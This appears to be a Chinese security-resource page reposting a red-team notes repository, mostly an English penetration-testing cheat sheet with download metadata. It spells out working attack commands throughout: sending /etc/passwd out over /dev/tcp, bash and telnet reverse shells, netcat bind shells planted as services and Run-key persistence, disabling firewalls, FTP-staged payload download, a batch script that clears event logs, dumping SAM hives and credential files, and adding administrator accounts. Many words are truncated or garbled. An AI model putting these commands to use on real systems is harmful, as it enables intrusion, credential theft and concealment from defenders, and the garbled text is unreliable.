红蓝攻防
点击放大

#### /dev/tcp
File transfers:
Box 1: # nc -nlvp 4444
Box 2: $ cat /etc/passwd > /dev/tcp/10.0.0.1/4444
Reverse shell:
Box 1: # nc -nlvp 8080
Box 2: $ bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Port scanner ("Connection refused" means port is closed):
Single port: $ echo > /dev/tcp/10.0.0.1/22
Multiple ports: $ port=1; while \[ $port –lt 1024 ]; do echo > /dev/tcp/\[IPaddr]/$port; \[ $? == 0 ] && echo $port "is open" >> /tmp/ports.txt; port=expr $port + 1; done
#### If /dev/tcp can't be used, try telnet
Reverse shell:
Box 1 (where you type commands): # nc -nlvp 4444
Box 1 (where you view the output): # nc -nlvp 4445
Box 2: $ telnet 10.0.0.1 4444 | /bin/bash | telnet 10.0.0.1 4445
Free / Public Pen test methodologies
1. OSSTMM (Open Source Security Testing Methodology Manual) by Pete Herzog, focus on transparency
2. PTES (Pen Test Execution Standard) by Chris Nickerson (fully in-depth pen test)
3. NIST Guideline on Network Security Testing 800-53A and SP800-115 (PDF) (15 to 20 pages, not deep)
4. OWASP Testing security guide (Web App specific)
5. Penetration Testing Framework (www..co.uk/Penetration%20Test.html) by Toggmeister & Lee Lawson (deep with specific tools and commands, step-by-step, sections on VOIP, AS/400, Bluetooth, WLAN, Cisco)
Scan tips:
• Use IP (not domain names, except for websites)
Dealing with large scans:
1. Sampling subset of target machines (around 10%, every quarter on different sample)
2. Sampling target ports (perhaps 1000 most popular, default nmap behavior)
3. Re network firewall ruleset and test only ports that could pass through firewall
4. Altering firewall rules to send resets / icmp port unreachable message for closed ports (not recommended)
5. Using hyperfast packing sending methods (high perf PCs, lowering timeouts, mo to targets) DoS !
A combo of 1 and 3 is a solid approach
Sniffers (tcpdump fast, flexible and small (free/open-source)) need root pri this language is BPF
• -n, -nn : Use numbers instead of host names, use numbers for host and service names
• -i Interface | - | -X ASCII and Hex | -s snap length | -w write | -x hex | -A ASCII
• tcpdump -nn host <ip> and net <first 3 octets of subnet> not port <port-number>
o host parameter means both src and dst combined
• tcpdump -nn host <ip> and portrange <startport-endport>
• tcpdump <protocol> (e.g. ether, arp, rarp, ip, ip6, tcp, udp, http, etc.)
• -s0 means setting snap length to 0, thereby showing entire packet content in tcpdump
Tracing:
Ipv4: TTL number of hops to li getting discarded (linux/unix has initial TTL as 64; Win has initial TTL as 128)
Ipv6: Hop Limit 8 bit long, max 255. Same as TTL. We can traceroute with this.
Traceroute on linux uses UDP packets (from 33434 port)
• -f [set initial TTL of packet] | -g [source route] | -I [use ICMP instead of UDP] | -T (use TCP SYN instead of UDP, with default dst port 80) | -m [set max number of hops] |
• -n [print number instead of names] (else queries DNS records for name) (don’t use this, we need router info)
• -p [use of custom port like 443]
• -w [Wait time for N seconds before giving up and printing *] default: 5 seconds
• -4 (force use of IPv4) | -6 (force use of IPv6)
Tracert on windows uses ICMP echo requests
• -h [max number of hops] default is 30
• -d (don’t resol)
• -j [hostlist] comma separated source IPs (up to 9 max)
• -w [wait for N milliseconds before printing *] default 4000
• -4 (force use of IPv4) | -6 (force use of IPv6)
Web based traceroutes: www.traceroute.org | www.kloth.net/services/traceroute.php (different country servers)
Nmap (written & maintained by Fyodor and his team) Port scan:
• TCP control bits: CWR | ECE | URG | ACK | PSH | RST | SYN | FIN
• In TCP, if response is ‘ICMP port unreachable’, it means, port is filtered. In UDP, it means, port is closed.
• Reports as ‘open|filtered’ when UDP port request is sent but has no response
• --reason at the end of nmap command will tell us actual reason for port scan status (filtered case)
• --badsum will send packets with bad checksum (to confirm that deny is from firewall or from target system)
• --packet-trace (details of each packet sends or receives)
• -- (details of probes)
• script.db has list of usable NSE scripts information (map script with category)
• Service scan is done using the ‘probe file’ (/share/nmap/nmap-ser) (has “Probe” lines and “match” lines)
• Runtime with nmap: (p=turn on trace) ( ) (d=increase debug) shift+letter to decrease
• If target on same subnet and running as root, just sends ARP request. If on diff subnet, sends ICMP echo req
• As non-root user, nmap makes 3-way (SYN to port 80 and 443, if no response, host is down) no icmp here
• -A = -O (heuristics analysis) + -sV + -sC + --traceroute
Scapy: Packet crafting (Create, Modify, Send, SendRecei, etc.) (By Philippe Biondi, runs in Python)
• packet = sr(IP(dst=”ip”)/TCP()) [Default src port is 20 and default dst port is 80]
• send(IP(src=”ip”, dst=”ip”)/TCP(sport=80,dport=80, flags=”AR”), count=4)
o Land attack when src-ip and dst-ip are same and sport and dport are same
• >>> python prompt; CTRL+D to exit from scapy
• arpcachepoison can make scapy be used as MITM as long as we don’t quit from the command
• ans, unans=_ (underscore refers to the last thing we did)
Mallory A MITM tool for TCP/UDP/HTTP protocols ()
Exploitation
Types: Service side exploit | Client-side exploit | Local pri escalation (normally not rated critical by most of client-side software. Attack possible ’s getsystem, Enlightenment Exploit, Empire);
Types of pri escalation:
• Race condition | Attacking kernel | Local exploit of high pri programs or services (For Win, Meterpreter and For Linux, Enlightenment exploit)
Metasploit (written in ruby) (by H.D. Moore)
• msfd runs on 55554 port (no authn or encryption) and msfrpcd runs on 55553 port (SSL possible)
• (Ja) Armitage internally calls msfrpcd to communicate with Metasploit
• Modules: auxiliary, encoders, exploits (OS specific, multi handler, browser), nops, payloads, post
• /modules/payloads/singles stand-along payloads (functionality + communication) (small by ½ to 1/20)
• /modules/payloads/stagers Piece that first loads into memory and later allows stage to communicate with attacker
o bind_tcp (listen on tcp) | bind_ip | re | re | re | re | re
• /modules/payloads/stages actual payload content for functionality such as remote shell, etc.
o dllinject | upexec | shell (x86, x64) | (x86, x64) | meterpreter (x86, x64)
• Create malicious EXE / SH file to run on target machines to give us shell access, we use msfvenom ( is used for same purpose, is better than msfvenom as msfvenom payloads could be detected by AV)
Output from msfvenom can be encoded using msfencode to evade strict signatures of some IDS/IPS/Antivirus tools
• (postgresql) db_connect, db_disconnect, db_driver, db_status, db_import, db_export, db_nmap
o hosts, services, vulns, creds, loot, notes
nc -vv -z -w3 ip port > /dev/null ; do “Service is ok”; sleep 1; done; while (true); echo -e “\x07”; doneEmpire (Post-exploitation framework, based on PowerShell) (By Will Scheroeder, Justin Warner, Matt Nelson)
• Consists of controlling server, called listener (written in Python) and agent clients (written in PowerShell)
• Mix of tools: PowerSploit (Matt Graeber, Chris Campbell, Joseph Bialek) + Posh-SecMod (Carlos Perez) + UnmanagedPowerShell (Lee Christiansen) + PowerShell-AD-Recon (Sean Metcalf)
• Inbuilt PowerShell frameworks (ps1 files): PowerBreach (Persistence) | Posh-ModSec (Discovery, network situation info) | PowerSploit (code execution, screenshots, keystokes, logging) | PowerUp (pri) | PowerView (Acct info, Domain info)
• Provides ‘Not Opsec Safe’ reminders before running the stagger
• Uses PowerShell but doesn’t require powershell.exe on target windows
• Renames exploited sessions for easier tracking
• Set killdates for the agents on compromised machines (and set working hours for agents)
• Automatically configure agents, ready for deployment and callback
• Can run a BypassUAC attack for Windows, not to pop-up the window for high pri commands
• Encrypts the traffic using StaggingKey (which is an md5 hash of pro value on command line)
• Module categories: Code execution, Collection, Exfiltration (PII data as test for blue team), Exploitation (Jboss, Jenkins), Fun, Lateral mo (psexec another target, ssh), Management (email, RunAs, alter file system, inject hashes into local security authority sub-system (LSASS)), Persistence (reg key, task scheduler), Recon (sweeps), Situation awareness (ARP / SMB scan, Reverse DNS lookup, Domain info), Trollsploit (play ascii video and audio, rick roll – ‘ne give you up’)
• usestager is the command to create agents / executables onto target machines
Different ways to mo from attacker PC to target system (or ):
• TFTP, FTP, SCP, HTTP(s), Windows file sharing, NFS (TCP 2049), Netcat, meterpreter upload / download / cat / edit, Script based command line append >> file.txt
Using compromised target-1 windows machine to run commands into another windows machine
• Use of psexec from Microsoft sysinternals (by Mark Russinovich, creates psexec service on first run and -d option lets it to run in disconnected mode without waiting for standard i/p and o/p) OR Inbuilt Metasploit’s psexec exploit OR NMap’s NSE script for psexec
• Use of ‘at’ or ‘schtasks’ command to invoke an executable (scheduling jobs, checking status, etc.)
o at \\target-ip [HH:mm:ss] [A|P] [command]
schtasks /create /tn [taskname] /s [targetip] /u [user] /p [pass] /sc [frequency] /st [starttime] /sd [startdata] /tr [command]
To run with system user: replace user and pass with “/ru SYSTEM”
SC (Service Controller) on Windows
• Use ‘sc’ command (starting a service with sc command will always run with SYSTEM pri but run only for 30 seconds. After that time, system will kill it as there is no API call back that service started successfully)
o To tackle the 30 sec issue with sc command, InGuardian’s ‘Ser’ tool helps as wrapper to call the service started API call back OR run command as ‘cmd.exe /k’ in sc [/k refers to child process]
sc \\<> create <ser> binpath= “cmd.exe /k nc.exe -l -p 1234 -e cmd.exe”
• sc query state= all (space between equal-to(=) and all)
• To create service on machine
o sc \\<> create <ser> binpath= “nc.exe -l -p -e cmd.exe”
• To query or start or stop or delete the service from attacker machine
o sc \\<> query|start|stop|delete <ser>
o Don’t use IP address in abo, windows has problems. Works only with hostname.
• ‘sc’ doesn’t ha to open GUI of target-pcs, whereas ‘wmic’ can !
LANMAN Hash: Break into 7-character pieces, then use each as DES key onto constant: KGS!@#$%
NT Hash: MD4 hash of full user’s password (up to 256 characters long). No salt is used during the hash process
LANMAN client-server: Break into 7-character pieces, then use each as DE
S key on the challenge and finally combine
NTLMv1 client -server: Same as LANMAN client-server auth, but starts with NT hash (MD4)
NTLMv2 client-ser:
• Ser challenge and client pseudo-random challenge
• NTLMv2 OWF = HMAC-MD5 (username + domain) with NT hash as key
• Client response = HMAC-MD5 (ser + timestamp + client challenge + other) using NTLMv2 OWF
Pass-the-hash works with LANMAN, NT, LANMAN client-server, NTLMv1, NTLMv2 protocols.
* Powershell
* Pri Escalation Tools
* Pri Escalation Guides/Wiki
* Post Exploitation Tools
* Post Exploitation Guides/Wiki
* Post Exploitation Techniques and Commands *Some of the commands listed are redundant.
* BloodHound - Six Degrees of Domain Admin
* Empire - Empire is a PowerShell and Python post-exploitation agent
* Generate-Macro - Powershell script will generate a malicious Microsoft Office document with a specified payload and persistence method
* Old-Powershell-payload-Excel-Delivery - This touches disk for registry persistence
* PSRecon - PSRecon gathers data from a remote Windows host using PowerShell (v2 or later), organizes the data into folders, hashes all extracted data, hashes PowerShell and system properties, and sends the data off to the security team
* PowerShell-Suite - Some useful scripts in powershell
* PowerSploit - A PowerShell Post-Exploitation Framework
* PowerTools - A collection of PowerShell projects with a focus on offensi
* Powershell-C2 - A PowerShell script to maintain persistance on a Windows machine
* Powershell-Payload-Excel-Delivery - Uses In to execute a payload and persist on the system
* mimikittenz - A post-exploitation powershell tool for extracting juicy info from memory.
* Empire - Empire is a post-exploitation framework that includes a pure-PowerShell2.0 Windows agent, and a pure Python 2.6/2.7 Linux/OS X agent.
* Potato - Pri Escalation on Windows 7,8,10, Server 2008, Server 2012
* Windows Pri Excalation - Contains common local exploits and enumeration scripts
* Pentest Monkey Windows Pri Escalation - Post-Exploitation in Windows: From Local Admin To Domain Admin (efficiently)
* Incognito - Pri Escalation Tool
* Windows Pri Escalation - Windows Post-exploitation Wiki
* Windows Pri Escalation Fundamentals - Fundamentals of Windows Pri Escalation
* Security Implications of Windows Access Tokens- A Penetration Tester's Guide
* mimikatz - A little tool to play with Windows security - extract plaintexts passwords, hash, PIN code and kerberos tickets from memory.
* Pazuzu - Reflective DLL to run binaries from memory
* UACME - Defeating Windows User Account Control
* Pupy - Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python.
* Veil Pillage - is a post-exploitation framework that integrates with .
* Intersect - Post exploitation framework.
* Koadic - Koadic, or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire.
* In - This script will obtain persistence on a Windows 7+ machine under both Standard and Administrati by using two Alternate Data Streams
* hackarmoury - Upload common tools from shell of compromised machine via FTP and other protocols.
* In - Invokes a Windows Security Login Prompt and outputs the clear text password
* Post Exploitation Wiki - Post exploitation wiki.
* Privlege escalation with Incognito - How to use Incognito for Pri Escalation in Windows
* Pwning Windows Domains from the Command Line - Several tools and techniques that can be used in order to compromise an entire Acti domain completely from the command line.
* Windows Post Exploitation Checklist
* pwnwiki - Post Exploitation Wiki (Multi-Platform)
* Windows Domain: Pivot and Profit - Techniques to mo when compromising a Windows machine.
* Useful Commands for Windows Administrators - Post-exploitation techniques and commands to elicit information from shell of compromised windows machine.
* A-Z List of Windows Shell Commands - A-Z Listing of all Windows CMD Commands
* Red Team Field Manual - Windows Post-Exploitation techniques and commands.
Create a batch file and execute it as admin.
off
FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V
IF (%adminTest%)==(Access) goto noAdmin
for /F "tokens=*" %%G in ('we.exe el') DO (call :do_clear "%%G")
echo.
echo goto theEnd
:do_clear
echo clearing %1
we.exe cl %1
goto :eof
:noAdmin
exit
In cases where you want to upload a file onto the compromised machine but you don't have an interacti where you simply upload the file, you can write it onto the compromised machine using FTP, feeding it one line at a time.
Create a blank file to write commands onto
ftp -s:ftp_commands.txt
Echo each command (you can also do this all in one line):
echo open 10.9.122.8>ftp_commands.txt
echo anonymous>ftp_commands.txt
echo blah>ftp_commands.txt
echo binary>ftp_commands.txt
echo get met8888.exe>ftp_commands.txt
echo bye>ftp_commands.txt
*Instead of ftp_commands.txt, use a unique name, hide the file in a datastream, or hide the file in the folder. aka don't be obvi
Query state of firewall:
netsh firewall show state
Disable firewall
netsh.exe firewall set opmode mode=disable profile=all
Allow service through firewall
netsh.exe firewall set portopening tcp 123 MYSERVICE enable all
netsh.exe firewall set allowedprogram C:\MYPROGRAM.exe
HKLM\\software\\microsoft\\windows\\ current\\run –d ‘C:\windows\system32\nc.exe -Ldp 4444 -e cmd.exe’ –
netsh firewall set allowedprogram c:\nc.exe allow_nc ENABLE
Query current user and pri information
whoami
whoami /all
whoami /user
whoami /groups
whoami /priv
[Users]
net users: list users
For more info on a user:
net user <username> (for local user)
net user <username> /domain (for a domain user)
View domain admins:
net group "Domain Admins" /domain
View name of domain controller:
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current\Group Policy\History" /v DC
Add user:
net users <username> <password> /add
Add user to local administrators group:
net localgroup administrators <username> /add
Delete a user:
net users username /delete /domain
Change user's password:
net users <username> <new_password>
[Accounts & Groups]
net accounts
net accounts /domain
net logalgroup administrators
net localgroup administrators /dmain
net group "domain Admins" /domain
net group "Enterprise Admins" /domain
net view /localgroup
net localgroup Administrators
net localgroup /Domain
gpresult: view group policy
gupdate: update group policy
gpresult /z
[Network and misc information]
systeminfo: lists information about system
ipconfig/all: Query ip configuation
ipconfig /displaydns
route print: Prints machines routing table
arp -a: Lists all systems current in the machine's ARP table
nslookup: Query ser
nbtstat: Displays protocol stats and current TCP/IP connections using NetBIOS over TCP/IP
qwinsta: Query info about RDP sessions
net session: Query session information
net time \\computername (Shows the time of target computer)
net share: view shared resources on network
[Query current drives on system]
fsutil fsinfo drives
[Grab SAM and SYSTEM files]
type "C:/windows/repair/SAM"
type "C:/windows/repair/SYSTEM"
[Tasks]
tasklist /s running processes
taskkill /PID <process ID> /F : forcibly kill task
taskkill taskkill /PID xxx taskkill /IM name* of process to be terminated * can be used to kill all processes with same name
tasklist /V /S computername: Lists tasks w/users running those tasks on a remote system. This will remove any IPC$ connection after it is done so if you are using another user, you need to re-initiate the IPC$ mount
qprocess*: Similar to tasklist but easier to read
at: Query current scheduled tasks
schtasks: Query scheduled tasks that your current user has access to see.
schtasks /query /fo csv /v > %TEMP%
[Netstat]
netstat -ano : to see what services are running on what ports
netstat -bano
netstat -r
netstat -na | findstr :443
[Query information about server and workstation, Workstation domain name and Logon domain]
net config server
net config workstation
[Change drive to different dri]
ex change to D:/ directory and list it's contents:
d: & dir
cd /d d: & dir
dir \\computername\share_or_admin_share\ (dir list a remote directory)
[Cat contents of file located in D:/ directory]
cd /d & type d:\blah\blah
[net view]
net view /domain[:DomainName]
net view \\computerName
[Services]
View list processes started upon startup
net start
wmic startup get caption,command
[Query, Stop/Start/Pause Installed Services]
sc query state= all
sc query <service>
sc <stop> <service>
[Remote System Access]
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" / /t REG_DWORD /d 0 /f
net share \\computername
tasklist /V /S computername
qwinsta /SER
qprocess /SER
**[WMI]*
wmic bios
wmic qfe
wmic qfe get hotfixid (This gets patches IDs)
wmic startup
wmic service
wmic os
wmic process get caption,executablepath,commandline
wmic process call create “process_name” (executes a program)
wmic process where name=”process_name” call terminate (terminates program)
wmic logicaldisk where dri=3 get name, freespace, systemname, filesystem, size, (hard dri)
wmic useraccount (usernames, sid, and security related goodies)
wmic useraccount get /ALL
wmic share get /ALL (you can use ? for gets help ! )
wmic startup list full (this can be a huge list!!!)
wmic /node:"hostname" bios get serialnumber (this can be great for finding warranty info about target)
[Reg Command]
reg save HKLM\Security security.hive (Sa hive to a file)
reg save HKLM\System system.hive (Sa hive to a file)
reg save HKLM\SAM sam.hive (Save sam to a file)=
reg add [\\TargetIPaddr\] [RegDomain][ \Key ]
reg export [RegDomain]\[Key] [FileName]
reg import [FileName ]
reg query [\\TargetIPaddr\] [RegDomain]\[ Key ] /!] (you can to add /s for recurse all )
[Deleting Logs]
we el (list logs)
we cl
[Uninstalling Software]
wmic proud get name /value: gets software names
wmic product where name="XXX": call uninstall /Interactive:Off: unintalss software
[Permissions]
icacls
Grant full access o and encompassing folders and files:
icacls "C:\windows" /grant Administrator:F /T
icacls "C:\" /grant "nt authority\system": F /T
[Net use]
net use: Map network shares
net use \\computername (maps IPC$ which does not show up as a drive)
net use \\computername /user:DOMAINNAME\username password ○ (maps IPC$ under another username)
[Mount a remote share with the rights of the current user]:
net use K: \\<ip>\<share>
dir K:
[Enable remote desktop]
reg add "HKLM\System\CurrentControlSet\Control\TermServer" / /t REG_DWORD /f
net session: list session information
[Other useful Commands]
pkgmgr usefull /iu :"Package"
pkgmgr usefull /iu :"TellnetServer": install telnet service
pkgmgr /iu:"TelnetClient"
rundll32.exe user32.dll, LockWorkStation: locks the screen
wscript.exe <script js/vbs>
cscript.exe <script js/vbs/c#>
xcopy /C /S %appdata%\Mozilla\Firefox\Profiles\*.sqlite \\your_box
type "C:\documents and settings\administrator\userdata\index.dat"
type %WINDIR%\System32\drivers\etc\hosts: view contents of hosts files
type "c:\Documents and Settings\Administrator\Local Settings\Application Data\Microsoft\Credentials"
cd "C:/Documents and settings\administrator\userdata" & dir
type "c:\Documents and Settings\Administrator\Desktop\UserMysql.txt"
type "c:\Documents and Settings\Administrator\Application Data\MySQL\mysqlx_user_connections.xml"
type "C:\documents and settings\administrator\userdata\index.dat"
开发语言:PowerShell
Star 数:161
该项目属于红蓝攻防方向的开源资源,代码结构清晰,适合安全研究人员学习参考。项目围绕Notes, red team materials, testing tools, etc.展开,提供了可运行的实现,对理解相关安全机制、工具原理与攻防技术具有较高的研究价值。
从技术实现角度看,此类项目的核心在于对底层原理的深入理解与工程化落地。开发者在研究过程中可以结合官方文档与社区讨论,梳理项目的初始化流程、核心模块职责与数据流转,逐步掌握其中的技术细节与设计思路。
1. 下载源码压缩包,解压到本地环境。
2. 根据项目类型准备对应的运行环境与依赖。
3. 按照 README 中的步骤完成配置与部署。
4. 在隔离的测试环境中运行验证,避免影响生产系统。
本资源来源于开源社区,仅供安全研究、技术学习与合法授权范围内的攻防演练使用,请勿用于任何非法或侵害他人权益的用途。使用本项目产生的一切后果由使用者自行承担。
| 资源标题 | red-team - Notes, red team materials, testing tools, etc. |
| 所属分类 | 红蓝攻防 |
| 发布作者 | admin |
| 发布时间 | 2026-10-06 00:48:49 |
| 下载权限 | 免费下载 |
| 附件数量 | 2 个下载链接 |
| 浏览次数 | 189 |
| 讨论数量 | 0 |
| 主题状态 | 正常讨论中 |